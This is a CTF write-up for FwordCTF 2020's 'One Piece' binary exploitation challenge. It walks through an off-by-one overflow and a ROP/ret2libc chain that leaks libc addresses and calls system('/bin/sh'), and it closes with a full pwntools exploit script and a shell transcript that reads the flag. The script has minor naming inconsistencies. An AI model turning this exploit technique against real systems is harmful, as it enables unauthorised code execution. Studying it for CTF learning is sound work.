Luffy has started learning Binary Exploitation recently. He sent me this binary and said that I have to find the One Piece. Can you help me ? nc onepiece.fword.wtf 1238 Author : haflout
The challange contains single binary file called `one_piece`. Running file over it prints:
one_piece: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a4c7abad8f737059cd37630923777a5179a9ef8b, not stripped
pwntools gives us:
[*] '/home/holz/etc/ctf/fwordctf2020/One Piece/one_piece' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Pretty standard, but no stack canary - that's good news we might use that in future. So, let's run the binary and do some high level analysis.
$ ./one_piece Can you find the One Piece ? - read - run - exit (menu)>>
Ok, so we have 3 options. Let's try the read first.
(menu)>> read Give me your devil-shellcode : >>
>>asdf (menu)>>
Ok, nothing iteresting, lets try again with something longer ;] I generated a bit longer string with
python -c 'print('A'*1024)'
(menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?! (menu)>>can you even read ?!
and again back to the input. Lets rerun the binary, they seem to check the size of the input. Let's type 'run' command now.
I've read about the NX bit but I didn't get it :( (menu)>>
and we are back in the menu. Ok, "NX bit but I didn't get It", huh? Perhaps some page might not be NX protected. If so, we could write the shellcode and execute It there. We would only have to find a way to write and redirect execution there. We will leave it for later. And the exit option, simply exits from application. Ok, we have some general idea of what the binary is. Let's analyze further with radare.
The main function is not that interesting as u can see. It just calls some buffer initializing routine and then choice(). Let's see what choice() does.
It prints the menu and waits for the input. Then compares the input from user with strings from the menu. But, there is one hidden entry that calls mugiwara() function. We can reach it by entering 'gomugomunomi' string in the menu. Let's confirm that.
$ ./one_piece Can you find the One Piece ? - read - run - exit (menu)>>gomugomunomi Luffy is amazing, right ? : 55d01ddf3a3a Wanna tell Luffy something ? : asdf (menu)>>
Yep. After that It waits for the user input. And seems to just quit after the input. Let's look closer using radare. We can see that it prints the Luffy... message and some hex number. Looks like some address.
The important bit is that lea rax, [0x00000a3a] uses relative addressing (we are in long mode), so whatever It is, we can use It to calculate address where the binary has been loaded.
Let's make a step back. It got some argument that it saved on the stack. Radare is calling it var_38h, and we seem to use it later in the code. Quick check in the choice() function disassembly says that we passed It a poiter to local buffer. We can see that It is also referenced from the read function. So whatever was read in the read menu entry will be passed to this mugiwara function.
Ok Let's get back to the disassembly. We can see a loop over the passed argument. The loop will execute at most 0x28 times (comapre is jbe 0x27, so equals also passes), also ends when we spot a null byte in the buffer.
First it loads a char from buffer and copies it to the local stack buffer, rax is used for indexing. If read byte is 0x7a (ASCII 'z') we additionally patch it with 0x89 byte in the buffer on the next position. Then we increment the index and and buffer pointer and loop back. It seems like some kind of sanitizing / escaping function for user input. Let's see what attacker can controll when the input is read.
Stack based buffer overflow vulnerability
We head back to the readSC function which is called when we enter 'read' option in the menu. It eventually calls read with size 0x28. Yeah, the vulnerability is just in front of out eyes. Mugiwara used jbe 0x27, so It would execute 28 times at most, but if the input ends with 0x7a (ASCII 'z') It will be escaped which will write one byte past the local buffer in mugiwara. Let's see what we can override.
Just behind our local buffer there is 'size' variable on he stack. It is used later in the left branch, which we enter after sanitizing all 0x7a bytes with 0x89. Then we print "Wanna tell Luffy..." string and get the string for the Luffy that is at most "size" length to the local buffer.
The buffer is 0x28 bytes long and the size variable originally contains that value. If we overwrite It's least significant byte with 0x89 we would be able to read past local buffer on the exiting fgets. This should be just enough to override return address on the stack and redirect execution.
Quick reminder: remember that at the beggining we identified that the binary has no canary protection enabled, so the BOF should be obtainable.
Let's take a look at the stack structure
RBP - 0x08 RBP - 0x38 | | v v [OLD STACK FRAME .... ] [RET] [OLD RBP] [var_4h] [size] [local buffer] [&buffer] ^ ^ ^ | | | RBP | | | RBP - 0x30 RBP - 0x04
So the plan is:
When input is being sanitized, the bytes are written to the local buffer. We use the BOF vulnerability to override the size variable, so we can read on the fgets past the buffer. In the fgets, we have to read 0x30 bytes to get to the [OLD RBP], so additional + 8 bytes (pointers in long-mode are 64 bit), should get us where the [RET] is at. We can try to override the RET with the known value and check in debugger to test the hypothesis.
This should do the trick
echo "read" > payload python -c 'print("A" * 0x27 + "z")' >> payload echo "gomugomunomi" >> payload python -c 'print("A" * 0x38 + "AAAAAAAA")' >> payload gdb ./one_piece r < payload (...) Program received signal SIGSEGV, Segmentation fault. 0x0000555555554a3e in mugiwara () (...) 0x555555554a3eret <0x4141414141414141> (...)
And we get glorified RIP = 0x41414141414141 \o/ Which means we can redirect execution wherever we want.
But where to redirect? ROP + ret2libc attack
The end-goal would be calling execve('/bin/sh', ... ) or system('/bin/sh'). Scanning the binary doesnt reveal any system or execve calls, which means the PLT entries are missing.
Let's do the ret2libc attack. First we have to find address of the system. It is not in the PLT and ASLR is enabled, so we have to leak the libc base and then calculate address of system within libc.
We will leak the address of the libc from the populated GOT. At this point It is populated since read menu entry uses the puts call. To leak the puts address we can use puts itself from the PLT. amd64 ABI says that the first argument is passed in the RDI, so we have to find a way to inject puts@got entry address in the RDI and call puts, this way It will simply print this to us. Stack is not executable, so we will use ROP attack.
Quick scan reveals some gadgets:
{1803: Gadget(0x70b, ['add esp, 8', 'ret'], [], 0xc), 1802: Gadget(0x70a, ['add rsp, 8', 'ret'], [], 0xc), 2621: Gadget(0xa3d, ['leave', 'ret'], ['ebp', 'esp'], 0x2540be403), 2972: Gadget(0xb9c, ['pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'] ...), 2974: Gadget(0xb9e, ['pop r13', 'pop r14', 'pop r15', 'ret'], ...), 2976: Gadget(0xba0, ['pop r14', 'pop r15', 'ret'], ['r14', 'r15'], 0xc), 2978: Gadget(0xba2, ['pop r15', 'ret'], ['r15'], 0x8), 2971: Gadget(0xb9b, ['pop rbp', 'pop r12', 'pop r13', 'pop r14', ... ) 2975: Gadget(0xb9f, ['pop rbp', 'pop r14', 'pop r15', 'ret'] ... ) 2048: Gadget(0x800, ['pop rbp', 'ret'], ['rbp'], 0x8), 2979: Gadget(0xba3, ['pop rdi', 'ret'], ['rdi'], 0x8), 2977: Gadget(0xba1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0xc), 2973: Gadget(0xb9d, ['pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret'] ...), 1806: Gadget(0x70e, ['ret'], [], 0x4)}
We can see pop rdi gadget at 0xba3:
2979: Gadget(0xba3, ['pop rdi', 'ret'], ['rdi'], 0x8)
Leaking libc load address - ASLR bypass
PLT's address is always relative to the binary, so If we know binary address we know the PLT address and the puts@plt offset is known before running the binary. The address of the binary can be obtained from the local address printed by message we saw earlier
$ ./one_piece Can you find the One Piece ? - read - run - exit (menu)>>gomugomunomi Luffy is amazing, right ? : 55d01ddf3a3a Wanna tell Luffy something ? : asdf (menu)>>
We just have to adjust for the page boundary.
address & (2**64 - 0x1000) should do the trick.
So we have the base of the binary.
plt = binary_base + plt_offset puts@plt = plt + puts_at_plt_offset got = binary_base + got_offset puts@got = got + puts_at_got_offset
The GOT and PLT offsets (from base_binary) can be obtained with:
$ readelf --sections ./one_piece Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align (...) [12] .plt PROGBITS 0000000000000710 00000710 0000000000000080 0000000000000010 AX 0 0 16 [13] .plt.got PROGBITS 0000000000000790 00000790 0000000000000008 0000000000000008 AX 0 0 8 (...) [22] .got PROGBITS 0000000000201f88 00001f88 0000000000000078 0000000000000008 WA 0 0 8 (...)
The same way we can leak some other libc@plt functions.
Remember that all we are doing this for is to obtain system@libc address, so we can call it with '/bin/sh' and get the shell on the remote. When we have the offsets we can identify what libc is used on the remote machine and then we will know the offset of system in it.
Ok. Let's recap how stack whould look like after BOF, before the ROP payload execution.
[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt] [puts@got] [POP RDI GADGET ] [ OLD STACK FRAME ] [OLD OVERWRITTEN RET]
Remember when function exits it pops the return address from the stack. We have overwritten the old RET address with address of POP RDI GADGET which is just pointer to:
pop rdi ret
which will pop from the stack into rdi and return.
[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt] [puts@got]
[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt]
Then we execute ret instruction which pops return address from the stack and jumps to it, and we have inserted puts@plt. This means we will return into puts with the argument of puts@got address which will effectively print whatever binary data is there. And we continue with the ROP chain to obtain the other, printf and read addresses.
[puts@plt] [printf@got] [POP RDI GADGET]
Addresses on amd64 are of form: 0x00007fXXXXXXXXXX where 'X' is probably some non zero byte and the 7f is most likely offset for user space when loading the binary. Puts prints c style (zero terminated) strings so it will print like 6 bytes or something. We have to adjust it with two zero bytes.
In python this should do the trick:
import struct # \0 terminated raw puts output. leaked_address = b'\x7f\xAA\xBB\xCC\xDD\xEE' # append two null bytes and unpack as 64 bit little endian number. leaked_address = struct.unpack('<Q', leaked_address + b'\x00\x00')
So, when we leak some resolved addresses from GOT, we can do a libc database scan to guess the version based on the offsets. I will use the libc-database project.
I've got the libc-2.32-1-x86_64 and the info:
BuildID f45b67ab28af1581cba8e4713e0fd3b2bc004b2e MD5 ecf9093714164f90e27f21fadf30e5ec __libc_start_main_ret 0x28152 dup2 0xf17b0 printf 0x58b10 puts 0x77380 read 0xf0eb0 str_bin_sh 0x18de78 system 0x4a830 write 0xf0f50
libc_address = puts@got - puts@libc
Now we have everything. Let's construct the last ROP payload to get the shell. After we identified the libc version, we dont have to leak the addrress of printf and read like I did before. I just did this to narrow the libc database search. We just have to leak puts address to bypass ASLR. So, this should do the trick:
[system@libc] [str_bin_sh@libc] [POP RDI GADGET] [puts@plt] [puts@got] [POP RDI GADGET] [ OLD STACK FRAME ] [ RET ]
First we leak the puts@plt to calculate the offsets and bypass ASLR and then we jump into system with '/bin/sh' string as argument.
Below is the python exploit written with the use of pwntools ( github ):
$ cat own.py #!/usr/bin/python3 from pwn import * import time elf = context.binary = ELF('./one_piece') context.log_level = 'INFO' context.terminal = 'alacritty' libc_path = '~/Downloads/libc-2.32-1-x86_64' libc = ELF(libpath + 'libc-2.30.so') p = process(elf.path) #p = remote('onepiece.fword.wtf', 1238) p.recvuntil('>>') p.sendline('read') p.recvuntil('>>') p.send('A' * 0x27 + 'z') p.recvuntil('>>') p.sendline('gomugomunomi') p.recvuntil('amazing, right ? : ') whatisthis = p.recvline().strip() mugiwara = (int(whatisthis,16) & (2**64 - 0x1000)) + elf.sym.mugiwara log.info('mugiwara: ' + hex(mugiwara)) elf.address = mugiwara - elf.sym.mugiwara log.info('elf.address: ' + hex(elf.address)) # Wanna tell Luffy something? p.recvline() rop = ROP([elf]) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] payload = 0x38 * b'A' payload += p64(pop_rdi) payload += p64(elf.got.puts) payload += p64(elf.plt.puts) #payload += p64(pop_rdi) #payload += p64(elf.got.printf) #payload += p64(elf.plt.puts) #payload += p64(pop_rdi) #payload += p64(elf.got.read) #payload += p64(elf.plt.puts) payload += p64(elf.sym.choice) p.sendline(payload) puts = u64(p.recvline().strip() + b'\x00\x00') libc.address = puts - libc.sym.puts log.info(f'{puts=:x} ') log.info(f'{libc.address=:x} ') system_offset = 0x4a82f libc_system = libc.address + system_offset str_bin_sh = libc.address + 0x18de78 log.info(f'{libc_system=:x} ') p.recvuntil('>>') p.sendline('gomugomunomi') p.recvuntil('amazing, right ? : ') payload = 0x38 * b'A' payload += p64(pop_rdi) payload += p64(str_bin_sh) payload += p64(libc_system) p.sendline(payload) p.interactive() $ ./pwn.py [*] '/home/holz/etc/ctf/fwordctf2020/One Piece/one_piece' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [*] '/home/holz/Downloads/libc-2.32-1-x86_64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to onepiece.fword.wtf on port 1238: Done Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '.../fwordctf2020/One Piece/one_piece': pid 24017 [*] mugiwara: 0x562cf7243998 [*] binary.address: 0x562cf7243000 [*] Loaded 14 cached gadgets for './one_piece' [*] puts=7f3e35caf380 [*] libc.address=7f3e35c38000 [*] libc_system=7f3e35c8282f [*] Switching to interactive mode $ whoami fword $ ls flag.txt one_piece ynetd $ cat flag.txt FwordCTF{0nE_pi3cE_1s_Re4l}
PWNed!